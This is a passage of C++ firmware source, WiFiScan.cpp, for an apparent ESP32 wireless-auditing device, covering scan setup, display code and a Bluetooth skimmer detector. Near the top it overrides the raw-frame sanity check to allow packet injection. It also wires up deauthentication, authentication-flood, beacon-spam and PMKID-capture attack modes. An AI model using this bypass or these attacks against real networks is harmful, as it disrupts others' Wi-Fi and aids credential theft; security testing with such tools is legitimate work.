WiFiScan.cpp 86 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263126412651266126712681269127012711272127312741275127612771278127912801281128212831284128512861287128812891290129112921293129412951296129712981299130013011302130313041305130613071308130913101311131213131314131513161317131813191320132113221323132413251326132713281329133013311332133313341335133613371338133913401341134213431344134513461347134813491350135113521353135413551356135713581359136013611362136313641365136613671368136913701371137213731374137513761377137813791380138113821383138413851386138713881389139013911392139313941395139613971398139914001401140214031404140514061407140814091410141114121413141414151416141714181419142014211422142314241425142614271428142914301431143214331434143514361437143814391440144114421443144414451446144714481449145014511452145314541455145614571458145914601461146214631464146514661467146814691470147114721473147414751476147714781479148014811482148314841485148614871488148914901491149214931494149514961497149814991500150115021503150415051506150715081509151015111512151315141515151615171518151915201521152215231524152515261527152815291530153115321533153415351536153715381539154015411542154315441545154615471548154915501551155215531554155515561557155815591560156115621563156415651566156715681569157015711572157315741575157615771578157915801581158215831584158515861587158815891590159115921593159415951596159715981599160016011602160316041605160616071608160916101611161216131614161516161617161816191620162116221623162416251626162716281629163016311632163316341635163616371638163916401641164216431644164516461647164816491650165116521653165416551656165716581659166016611662166316641665166616671668166916701671167216731674167516761677167816791680168116821683168416851686168716881689169016911692169316941695169616971698169917001701170217031704170517061707170817091710171117121713171417151716171717181719172017211722172317241725172617271728172917301731173217331734173517361737173817391740174117421743174417451746174717481749175017511752175317541755175617571758175917601761176217631764176517661767176817691770177117721773177417751776177717781779178017811782178317841785178617871788178917901791179217931794179517961797179817991800180118021803180418051806180718081809181018111812181318141815181618171818181918201821182218231824182518261827182818291830183118321833183418351836183718381839184018411842184318441845184618471848184918501851185218531854185518561857185818591860186118621863186418651866186718681869187018711872187318741875187618771878187918801881188218831884188518861887188818891890189118921893189418951896189718981899190019011902190319041905190619071908190919101911191219131914191519161917191819191920192119221923192419251926192719281929193019311932193319341935193619371938193919401941194219431944194519461947194819491950195119521953195419551956195719581959196019611962196319641965196619671968196919701971197219731974197519761977197819791980198119821983198419851986198719881989199019911992199319941995199619971998199920002001200220032004200520062007200820092010201120122013201420152016201720182019202020212022202320242025202620272028202920302031203220332034203520362037203820392040204120422043204420452046204720482049205020512052205320542055205620572058205920602061206220632064206520662067206820692070207120722073207420752076207720782079208020812082208320842085208620872088208920902091209220932094209520962097209820992100210121022103210421052106210721082109211021112112211321142115211621172118211921202121212221232124212521262127212821292130213121322133213421352136213721382139214021412142214321442145214621472148214921502151215221532154215521562157215821592160216121622163216421652166216721682169217021712172217321742175217621772178217921802181218221832184218521862187218821892190219121922193219421952196219721982199220022012202220322042205220622072208220922102211221222132214221522162217221822192220222122222223222422252226222722282229223022312232223322342235223622372238223922402241224222432244224522462247224822492250225122522253225422552256225722582259226022612262226322642265226622672268226922702271227222732274227522762277227822792280228122822283228422852286228722882289229022912292229322942295229622972298229923002301230223032304230523062307230823092310231123122313231423152316231723182319232023212322232323242325232623272328232923302331233223332334233523362337233823392340234123422343234423452346234723482349235023512352235323542355235623572358235923602361236223632364236523662367236823692370237123722373237423752376237723782379238023812382238323842385238623872388238923902391239223932394239523962397239823992400240124022403240424052406240724082409241024112412241324142415241624172418241924202421242224232424242524262427242824292430243124322433243424352436243724382439244024412442244324442445244624472448244924502451245224532454245524562457245824592460246124622463246424652466246724682469247024712472247324742475247624772478247924802481248224832484248524862487248824892490249124922493249424952496249724982499250025012502250325042505250625072508250925102511251225132514251525162517251825192520252125222523252425252526252725282529253025312532253325342535253625372538253925402541254225432544254525462547254825492550255125522553255425552556255725582559256025612562256325642565256625672568256925702571257225732574257525762577257825792580258125822583258425852586258725882589259025912592259325942595259625972598259926002601260226032604260526062607260826092610261126122613261426152616261726182619262026212622262326242625262626272628262926302631263226332634263526362637263826392640264126422643264426452646264726482649265026512652265326542655265626572658265926602661266226632664266526662667266826692670267126722673267426752676
  1. #include "WiFiScan.h"
  2. #include "lang_var.h"
  3. int num_beacon = 0;
  4. int num_deauth = 0;
  5. int num_probe = 0;
  6. int num_eapol = 0;
  7. LinkedList<ssid>* ssids;
  8. LinkedList<AccessPoint>* access_points;
  9. extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){
  10. if (arg == 31337)
  11. return 1;
  12. else
  13. return 0;
  14. }
  15. #ifdef HAS_BT
  16. class bluetoothScanAllCallback: public BLEAdvertisedDeviceCallbacks {
  17. void onResult(BLEAdvertisedDevice *advertisedDevice) {
  18. #ifdef HAS_SCREEN
  19. int buf = display_obj.display_buffer->size();
  20. #else
  21. int buf = 0;
  22. #endif
  23. String display_string = "";
  24. if (buf >= 0)
  25. {
  26. display_string.concat(text_table4[0]);
  27. display_string.concat(advertisedDevice->getRSSI());
  28. Serial.print(" RSSI: ");
  29. Serial.print(advertisedDevice->getRSSI());
  30. display_string.concat(" ");
  31. Serial.print(" ");
  32. Serial.print("Device: ");
  33. if(advertisedDevice->getName().length() != 0)
  34. {
  35. display_string.concat(advertisedDevice->getName().c_str());
  36. Serial.print(advertisedDevice->getName().c_str());
  37. }
  38. else
  39. {
  40. display_string.concat(advertisedDevice->getAddress().toString().c_str());
  41. Serial.print(advertisedDevice->getAddress().toString().c_str());
  42. }
  43. #ifdef HAS_SCREEN
  44. uint8_t temp_len = display_string.length();
  45. for (uint8_t i = 0; i < 40 - temp_len; i++)
  46. {
  47. display_string.concat(" ");
  48. }
  49. Serial.println();
  50. while (display_obj.printing)
  51. delay(1);
  52. display_obj.loading = true;
  53. display_obj.display_buffer->add(display_string);
  54. display_obj.loading = false;
  55. #endif
  56. }
  57. }
  58. };
  59. class bluetoothScanSkimmersCallback: public BLEAdvertisedDeviceCallbacks {
  60. void onResult(BLEAdvertisedDevice *advertisedDevice) {
  61. String bad_list[bad_list_length] = {"HC-03", "HC-05", "HC-06"};
  62. #ifdef HAS_SCREEN
  63. int buf = display_obj.display_buffer->size();
  64. #else
  65. int buf = 0;
  66. #endif
  67. if (buf >= 0)
  68. {
  69. Serial.print("Device: ");
  70. String display_string = "";
  71. if(advertisedDevice->getName().length() != 0)
  72. {
  73. Serial.print(advertisedDevice->getName().c_str());
  74. for(uint8_t i = 0; i < bad_list_length; i++)
  75. {
  76. #ifdef HAS_SCREEN
  77. if(strcmp(advertisedDevice->getName().c_str(), bad_list[i].c_str()) == 0)
  78. {
  79. display_string.concat(text_table4[1]);
  80. display_string.concat(" ");
  81. display_string.concat(advertisedDevice->getName().c_str());
  82. uint8_t temp_len = display_string.length();
  83. for (uint8_t i = 0; i < 40 - temp_len; i++)
  84. {
  85. display_string.concat(" ");
  86. }
  87. while (display_obj.printing)
  88. delay(1);
  89. display_obj.loading = true;
  90. display_obj.display_buffer->add(display_string);
  91. display_obj.loading = false;
  92. }
  93. #endif
  94. }
  95. }
  96. else
  97. {
  98. Serial.print(advertisedDevice->getAddress().toString().c_str());
  99. }
  100. Serial.print(" RSSI: ");
  101. Serial.println(advertisedDevice->getRSSI());
  102. }
  103. }
  104. };
  105. #endif
  106. WiFiScan::WiFiScan()
  107. {
  108. }
  109. void WiFiScan::RunSetup() {
  110. if (ieee80211_raw_frame_sanity_check(31337, 0, 0) == 1)
  111. this->wsl_bypass_enabled = true;
  112. else
  113. this->wsl_bypass_enabled = false;
  114. ssids = new LinkedList<ssid>();
  115. access_points = new LinkedList<AccessPoint>();
  116. #ifdef HAS_BT
  117. NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
  118. NimBLEDevice::setScanDuplicateCacheSize(200);
  119. NimBLEDevice::init("");
  120. pBLEScan = NimBLEDevice::getScan(); //create new scan
  121. this->ble_initialized = true;
  122. this->shutdownBLE();
  123. #endif
  124. this->initWiFi(1);
  125. }
  126. int WiFiScan::clearAPs() {
  127. int num_cleared = access_points->size();
  128. access_points->clear();
  129. Serial.println("access_points: " + (String)access_points->size());
  130. return num_cleared;
  131. }
  132. int WiFiScan::clearSSIDs() {
  133. int num_cleared = ssids->size();
  134. ssids->clear();
  135. Serial.println("ssids: " + (String)ssids->size());
  136. return num_cleared;
  137. }
  138. bool WiFiScan::addSSID(String essid) {
  139. ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
  140. ssids->add(s);
  141. Serial.println(ssids->get(ssids->size() - 1).essid);
  142. return true;
  143. }
  144. int WiFiScan::generateSSIDs(int count) {
  145. uint8_t num_gen = count;
  146. for (uint8_t x = 0; x < num_gen; x++) {
  147. String essid = "";
  148. for (uint8_t i = 0; i < 6; i++)
  149. essid.concat(alfa[random(65)]);
  150. ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
  151. ssids->add(s);
  152. Serial.println(ssids->get(ssids->size() - 1).essid);
  153. }
  154. return num_gen;
  155. }
  156. #ifdef HAS_SCREEN
  157. void WiFiScan::joinWiFi(String ssid, String password)
  158. {
  159. static const char * btns[] ={text16, ""};
  160. int count = 0;
  161. if ((WiFi.status() == WL_CONNECTED) && (ssid == connected_network) && (ssid != "")) {
  162. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  163. lv_msgbox_set_text(mbox1, text_table4[2]);
  164. lv_msgbox_add_btns(mbox1, btns);
  165. lv_obj_set_width(mbox1, 200);
  166. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  167. this->wifi_initialized = true;
  168. return;
  169. }
  170. else if (WiFi.status() == WL_CONNECTED) {
  171. Serial.println("Already connected. Disconnecting...");
  172. WiFi.disconnect();
  173. }
  174. esp_wifi_init(&cfg);
  175. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  176. esp_wifi_set_mode(WIFI_MODE_NULL);
  177. esp_wifi_start();
  178. WiFi.begin(ssid.c_str(), password.c_str());
  179. Serial.print("Connecting to WiFi");
  180. while (WiFi.status() != WL_CONNECTED) {
  181. delay(500);
  182. Serial.print(".");
  183. count++;
  184. if (count == 10)
  185. {
  186. Serial.println("\nCould not connect to WiFi network");
  187. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  188. lv_msgbox_set_text(mbox1, text_table4[3]);
  189. lv_msgbox_add_btns(mbox1, btns);
  190. lv_obj_set_width(mbox1, 200);
  191. //lv_obj_set_event_cb(mbox1, event_handler);
  192. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  193. WiFi.mode(WIFI_OFF);
  194. return;
  195. }
  196. }
  197. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  198. lv_msgbox_set_text(mbox1, text_table4[4]);
  199. lv_msgbox_add_btns(mbox1, btns);
  200. lv_obj_set_width(mbox1, 200);
  201. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  202. connected_network = ssid;
  203. Serial.println("\nConnected to the WiFi network");
  204. Serial.print("IP address: ");
  205. Serial.println(WiFi.localIP());
  206. this->wifi_initialized = true;
  207. }
  208. #endif
  209. // Apply WiFi settings
  210. void WiFiScan::initWiFi(uint8_t scan_mode) {
  211. // Set the channel
  212. if (scan_mode != WIFI_SCAN_OFF) {
  213. //Serial.println(F("Initializing WiFi settings..."));
  214. this->changeChannel();
  215. this->force_pmkid = settings_obj.loadSetting<bool>(text_table4[5]);
  216. this->force_probe = settings_obj.loadSetting<bool>(text_table4[6]);
  217. this->save_pcap = settings_obj.loadSetting<bool>(text_table4[7]);
  218. //Serial.println(F("Initialization complete"));
  219. }
  220. }
  221. bool WiFiScan::scanning() {
  222. if (this->currentScanMode == WIFI_SCAN_OFF)
  223. return false;
  224. else
  225. return true;
  226. }
  227. // Function to prepare to run a specific scan
  228. void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
  229. {
  230. this->initWiFi(scan_mode);
  231. if (scan_mode == WIFI_SCAN_OFF)
  232. StopScan(scan_mode);
  233. else if (scan_mode == WIFI_SCAN_PROBE)
  234. RunProbeScan(scan_mode, color);
  235. else if (scan_mode == WIFI_SCAN_EAPOL)
  236. RunEapolScan(scan_mode, color);
  237. else if (scan_mode == WIFI_SCAN_AP)
  238. RunBeaconScan(scan_mode, color);
  239. else if (scan_mode == WIFI_SCAN_TARGET_AP)
  240. RunAPScan(scan_mode, color);
  241. else if (scan_mode == WIFI_SCAN_PWN)
  242. RunPwnScan(scan_mode, color);
  243. else if (scan_mode == WIFI_SCAN_DEAUTH)
  244. RunDeauthScan(scan_mode, color);
  245. else if (scan_mode == WIFI_PACKET_MONITOR) {
  246. #ifdef HAS_SCREEN
  247. RunPacketMonitor(scan_mode, color);
  248. #endif
  249. }
  250. else if (scan_mode == WIFI_ATTACK_BEACON_LIST)
  251. this->startWiFiAttacks(scan_mode, color, text_table1[50]);
  252. else if (scan_mode == WIFI_ATTACK_BEACON_SPAM)
  253. this->startWiFiAttacks(scan_mode, color, text_table1[51]);
  254. else if (scan_mode == WIFI_ATTACK_RICK_ROLL)
  255. this->startWiFiAttacks(scan_mode, color, text_table1[52]);
  256. else if (scan_mode == WIFI_ATTACK_AUTH)
  257. this->startWiFiAttacks(scan_mode, color, text_table4[7]);
  258. else if (scan_mode == WIFI_ATTACK_DEAUTH)
  259. this->startWiFiAttacks(scan_mode, color, text_table4[8]);
  260. else if (scan_mode == WIFI_ATTACK_AP_SPAM)
  261. this->startWiFiAttacks(scan_mode, color, " AP Beacon Spam ");
  262. else if (scan_mode == BT_SCAN_ALL) {
  263. #ifdef HAS_BT
  264. RunBluetoothScan(scan_mode, color);
  265. #endif
  266. }
  267. else if (scan_mode == BT_SCAN_SKIMMERS) {
  268. #ifdef HAS_BT
  269. RunBluetoothScan(scan_mode, color);
  270. #endif
  271. }
  272. else if (scan_mode == WIFI_SCAN_ESPRESSIF)
  273. RunEspressifScan(scan_mode, color);
  274. else if (scan_mode == LV_JOIN_WIFI) {
  275. #ifdef HAS_SCREEN
  276. RunLvJoinWiFi(scan_mode, color);
  277. #endif
  278. }
  279. else if (scan_mode == LV_ADD_SSID) {
  280. #ifdef HAS_SCREEN
  281. RunLvJoinWiFi(scan_mode, color);
  282. #endif
  283. }
  284. WiFiScan::currentScanMode = scan_mode;
  285. }
  286. void WiFiScan::startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string) {
  287. // Common wifi attack configurations
  288. #ifdef HAS_SCREEN
  289. display_obj.TOP_FIXED_AREA_2 = 48;
  290. display_obj.tteBar = true;
  291. display_obj.print_delay_1 = 15;
  292. display_obj.print_delay_2 = 10;
  293. display_obj.initScrollValues(true);
  294. display_obj.tft.setTextWrap(false);
  295. display_obj.tft.setTextColor(TFT_BLACK, color);
  296. display_obj.tft.fillRect(0,16,240,16, color);
  297. display_obj.tft.drawCentreString((String)title_string,120,16,2);
  298. display_obj.touchToExit();
  299. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  300. #endif
  301. packets_sent = 0;
  302. esp_wifi_init(&cfg);
  303. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  304. esp_wifi_set_mode(WIFI_AP_STA);
  305. esp_wifi_start();
  306. esp_wifi_set_promiscuous_filter(NULL);
  307. esp_wifi_set_promiscuous(true);
  308. esp_wifi_set_max_tx_power(78);
  309. this->wifi_initialized = true;
  310. initTime = millis();
  311. }
  312. bool WiFiScan::shutdownWiFi() {
  313. if (this->wifi_initialized) {
  314. esp_wifi_set_promiscuous(false);
  315. WiFi.disconnect();
  316. WiFi.mode(WIFI_OFF);
  317. esp_wifi_set_mode(WIFI_MODE_NULL);
  318. esp_wifi_stop();
  319. esp_wifi_deinit();
  320. this->wifi_initialized = false;
  321. return true;
  322. }
  323. else {
  324. return false;
  325. }
  326. }
  327. bool WiFiScan::shutdownBLE() {
  328. #ifdef HAS_BT
  329. if (this->ble_initialized) {
  330. pBLEScan->stop();
  331. pBLEScan->clearResults();
  332. BLEDevice::deinit();
  333. this->ble_initialized = false;
  334. return true;
  335. }
  336. else {
  337. return false;
  338. }
  339. #endif
  340. return true;
  341. }
  342. // Function to stop all wifi scans
  343. void WiFiScan::StopScan(uint8_t scan_mode)
  344. {
  345. if ((currentScanMode == WIFI_SCAN_PROBE) ||
  346. (currentScanMode == WIFI_SCAN_AP) ||
  347. (currentScanMode == WIFI_SCAN_TARGET_AP) ||
  348. (currentScanMode == WIFI_SCAN_PWN) ||
  349. (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
  350. (currentScanMode == WIFI_SCAN_EAPOL) ||
  351. (currentScanMode == WIFI_SCAN_ALL) ||
  352. (currentScanMode == WIFI_SCAN_DEAUTH) ||
  353. (currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
  354. (currentScanMode == WIFI_ATTACK_BEACON_SPAM) ||
  355. (currentScanMode == WIFI_ATTACK_AUTH) ||
  356. (currentScanMode == WIFI_ATTACK_DEAUTH) ||
  357. (currentScanMode == WIFI_ATTACK_MIMIC) ||
  358. (currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
  359. (currentScanMode == WIFI_PACKET_MONITOR) ||
  360. (currentScanMode == LV_JOIN_WIFI))
  361. {
  362. this->shutdownWiFi();
  363. }
  364. else if ((currentScanMode == BT_SCAN_ALL) ||
  365. (currentScanMode == BT_SCAN_SKIMMERS))
  366. {
  367. #ifdef HAS_BT
  368. this->shutdownBLE();
  369. #endif
  370. }
  371. #ifdef HAS_SCREEN
  372. display_obj.display_buffer->clear();
  373. //Serial.print("display_buffer->size(): ");
  374. Serial.println(display_obj.display_buffer->size());
  375. display_obj.tteBar = false;
  376. #endif
  377. }
  378. String WiFiScan::getStaMAC()
  379. {
  380. char *buf;
  381. uint8_t mac[6];
  382. char macAddrChr[18] = {0};
  383. esp_wifi_init(&cfg);
  384. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  385. esp_wifi_set_mode(WIFI_MODE_NULL);
  386. esp_wifi_start();
  387. esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
  388. this->wifi_initialized = true;
  389. sprintf(macAddrChr,
  390. "%02X:%02X:%02X:%02X:%02X:%02X",
  391. mac[0],
  392. mac[1],
  393. mac[2],
  394. mac[3],
  395. mac[4],
  396. mac[5]);
  397. this->shutdownWiFi();
  398. return String(macAddrChr);
  399. }
  400. String WiFiScan::getApMAC()
  401. {
  402. char *buf;
  403. uint8_t mac[6];
  404. char macAddrChr[18] = {0};
  405. esp_wifi_init(&cfg);
  406. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  407. esp_wifi_set_mode(WIFI_MODE_NULL);
  408. esp_wifi_start();
  409. esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
  410. this->wifi_initialized = true;
  411. sprintf(macAddrChr,
  412. "%02X:%02X:%02X:%02X:%02X:%02X",
  413. mac[0],
  414. mac[1],
  415. mac[2],
  416. mac[3],
  417. mac[4],
  418. mac[5]);
  419. this->shutdownWiFi();
  420. return String(macAddrChr);
  421. }
  422. String WiFiScan::freeRAM()
  423. {
  424. char s[150];
  425. sprintf(s, "RAM Free: %u bytes", esp_get_free_heap_size());
  426. this->free_ram = String(esp_get_free_heap_size());
  427. return String(s);
  428. }
  429. // Function to start running a beacon scan
  430. void WiFiScan::RunAPScan(uint8_t scan_mode, uint16_t color)
  431. {
  432. sd_obj.openCapture("ap");
  433. Serial.println(text_table4[9] + (String)access_points->size());
  434. #ifdef HAS_SCREEN
  435. display_obj.TOP_FIXED_AREA_2 = 48;
  436. display_obj.tteBar = true;
  437. display_obj.print_delay_1 = 15;
  438. display_obj.print_delay_2 = 10;
  439. display_obj.initScrollValues(true);
  440. display_obj.tft.setTextWrap(false);
  441. display_obj.tft.setTextColor(TFT_WHITE, color);
  442. display_obj.tft.fillRect(0,16,240,16, color);
  443. display_obj.tft.drawCentreString(text_table4[44],120,16,2);
  444. display_obj.touchToExit();
  445. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  446. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  447. #endif
  448. esp_wifi_init(&cfg);
  449. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  450. esp_wifi_set_mode(WIFI_MODE_NULL);
  451. esp_wifi_start();
  452. esp_wifi_set_promiscuous(true);
  453. esp_wifi_set_promiscuous_filter(&filt);
  454. esp_wifi_set_promiscuous_rx_cb(&apSnifferCallback);
  455. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  456. this->wifi_initialized = true;
  457. initTime = millis();
  458. }
  459. #ifdef HAS_SCREEN
  460. void WiFiScan::RunLvJoinWiFi(uint8_t scan_mode, uint16_t color) {
  461. display_obj.tft.init();
  462. display_obj.tft.setRotation(1);
  463. #ifdef TFT_SHIELD
  464. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  465. Serial.println("Using TFT Shield");
  466. #else if defined(TFT_DIY)
  467. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  468. Serial.println("Using TFT DIY");
  469. #endif
  470. display_obj.tft.setTouch(calData);
  471. lv_obj_t * scr = lv_cont_create(NULL, NULL);
  472. lv_disp_load_scr(scr);
  473. }
  474. #endif
  475. void WiFiScan::RunClearAPs() {
  476. #ifdef HAS_SCREEN
  477. display_obj.tft.setTextWrap(false);
  478. display_obj.tft.setFreeFont(NULL);
  479. display_obj.tft.setCursor(0, 100);
  480. display_obj.tft.setTextSize(1);
  481. display_obj.tft.setTextColor(TFT_CYAN);
  482. display_obj.tft.println(F(text_table4[9]));
  483. display_obj.tft.println(text_table4[10] + (String)this->clearAPs());
  484. #else
  485. this->clearAPs();
  486. #endif
  487. }
  488. void WiFiScan::RunClearSSIDs() {
  489. #ifdef HAS_SCREEN
  490. display_obj.tft.setTextWrap(false);
  491. display_obj.tft.setFreeFont(NULL);
  492. display_obj.tft.setCursor(0, 100);
  493. display_obj.tft.setTextSize(1);
  494. display_obj.tft.setTextColor(TFT_CYAN);
  495. display_obj.tft.println(F(text_table4[11]));
  496. display_obj.tft.println(text_table4[12] + (String)this->clearSSIDs());
  497. #else
  498. this->clearSSIDs();
  499. #endif
  500. }
  501. void WiFiScan::RunGenerateSSIDs(int count) {
  502. #ifdef HAS_SCREEN
  503. display_obj.tft.setTextWrap(false);
  504. display_obj.tft.setFreeFont(NULL);
  505. display_obj.tft.setCursor(0, 100);
  506. display_obj.tft.setTextSize(1);
  507. display_obj.tft.setTextColor(TFT_CYAN);
  508. display_obj.tft.println(F(text_table4[13]));
  509. display_obj.tft.println(text_table4[14] + (String)this->generateSSIDs());
  510. display_obj.tft.println(text_table4[15] + (String)ssids->size());
  511. #else
  512. this->generateSSIDs(count);
  513. #endif
  514. }
  515. void WiFiScan::RunShutdownWiFi() {
  516. #ifdef HAS_SCREEN
  517. display_obj.tft.setTextWrap(false);
  518. display_obj.tft.setFreeFont(NULL);
  519. display_obj.tft.setCursor(0, 100);
  520. display_obj.tft.setTextSize(1);
  521. display_obj.tft.setTextColor(TFT_CYAN);
  522. display_obj.tft.print(F(text_table4[16]));
  523. #endif
  524. if (this->wifi_initialized) {
  525. this->shutdownWiFi();
  526. #ifdef HAS_SCREEN
  527. display_obj.tft.setTextColor(TFT_GREEN);
  528. display_obj.tft.println(F("OK"));
  529. #endif
  530. }
  531. else {
  532. #ifdef HAS_SCREEN
  533. display_obj.tft.setTextColor(TFT_RED);
  534. display_obj.tft.println(F(text17));
  535. display_obj.tft.println(F(text_table4[17]));
  536. #endif
  537. }
  538. }
  539. void WiFiScan::RunShutdownBLE() {
  540. #ifdef HAS_SCREEN
  541. display_obj.tft.setTextWrap(false);
  542. display_obj.tft.setFreeFont(NULL);
  543. display_obj.tft.setCursor(0, 100);
  544. display_obj.tft.setTextSize(1);
  545. display_obj.tft.setTextColor(TFT_CYAN);
  546. display_obj.tft.print(F(text_table4[18]));
  547. #endif
  548. if (this->ble_initialized) {
  549. this->shutdownBLE();
  550. #ifdef HAS_SCREEN
  551. display_obj.tft.setTextColor(TFT_GREEN);
  552. display_obj.tft.println(F("OK"));
  553. #endif
  554. }
  555. else {
  556. #ifdef HAS_SCREEN
  557. display_obj.tft.setTextColor(TFT_RED);
  558. display_obj.tft.println(F(text17));
  559. display_obj.tft.println(F(text_table4[19]));
  560. #endif
  561. }
  562. }
  563. void WiFiScan::RunInfo()
  564. {
  565. String sta_mac = this->getStaMAC();
  566. String ap_mac = this->getApMAC();
  567. String free_ram = this->freeRAM();
  568. //Serial.print("STA MAC: ");
  569. //Serial.println(sta_mac);
  570. //Serial.print("AP MAC: ");
  571. //Serial.println(ap_mac);
  572. Serial.println(free_ram);
  573. #ifdef HAS_SCREEN
  574. display_obj.tft.setTextWrap(false);
  575. display_obj.tft.setFreeFont(NULL);
  576. display_obj.tft.setCursor(0, 100);
  577. display_obj.tft.setTextSize(1);
  578. display_obj.tft.setTextColor(TFT_CYAN);
  579. display_obj.tft.println(text_table4[20]);
  580. display_obj.tft.println(text_table4[21] + display_obj.version_number + "\n");
  581. display_obj.tft.println(text_table4[22] + (String)esp_get_idf_version());
  582. #endif
  583. if (this->wsl_bypass_enabled) {
  584. #ifdef HAS_SCREEN
  585. display_obj.tft.println(text_table4[23]);
  586. #endif
  587. }
  588. else {
  589. #ifdef HAS_SCREEN
  590. display_obj.tft.println(text_table4[24]);
  591. #endif
  592. }
  593. #ifdef HAS_SCREEN
  594. display_obj.tft.println(text_table4[25] + sta_mac);
  595. display_obj.tft.println(text_table4[26] + ap_mac);
  596. display_obj.tft.println(text_table4[27] + free_ram);
  597. #endif
  598. if (sd_obj.supported) {
  599. #ifdef HAS_SCREEN
  600. display_obj.tft.println(text_table4[28]);
  601. display_obj.tft.print(text_table4[29]);
  602. display_obj.tft.print(sd_obj.card_sz);
  603. display_obj.tft.println("MB");
  604. #endif
  605. }
  606. else {
  607. #ifdef HAS_SCREEN
  608. display_obj.tft.println(text_table4[30]);
  609. display_obj.tft.println(text_table4[31]);
  610. #endif
  611. }
  612. battery_obj.battery_level = battery_obj.getBatteryLevel();
  613. if (battery_obj.i2c_supported) {
  614. #ifdef HAS_SCREEN
  615. display_obj.tft.println(text_table4[32]);
  616. display_obj.tft.println(text_table4[33] + (String)battery_obj.battery_level + "%");
  617. #endif
  618. }
  619. else {
  620. #ifdef HAS_SCREEN
  621. display_obj.tft.println(text_table4[34]);
  622. #endif
  623. }
  624. #ifdef HAS_SCREEN
  625. display_obj.tft.println(text_table4[35] + (String)temp_obj.current_temp + " C");
  626. #endif
  627. }
  628. void WiFiScan::RunEspressifScan(uint8_t scan_mode, uint16_t color) {
  629. sd_obj.openCapture("espressif");
  630. #ifdef HAS_SCREEN
  631. display_obj.TOP_FIXED_AREA_2 = 48;
  632. display_obj.tteBar = true;
  633. display_obj.print_delay_1 = 15;
  634. display_obj.print_delay_2 = 10;
  635. display_obj.initScrollValues(true);
  636. display_obj.tft.setTextWrap(false);
  637. display_obj.tft.setTextColor(TFT_WHITE, color);
  638. display_obj.tft.fillRect(0,16,240,16, color);
  639. display_obj.tft.drawCentreString(text_table4[36],120,16,2);
  640. display_obj.touchToExit();
  641. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
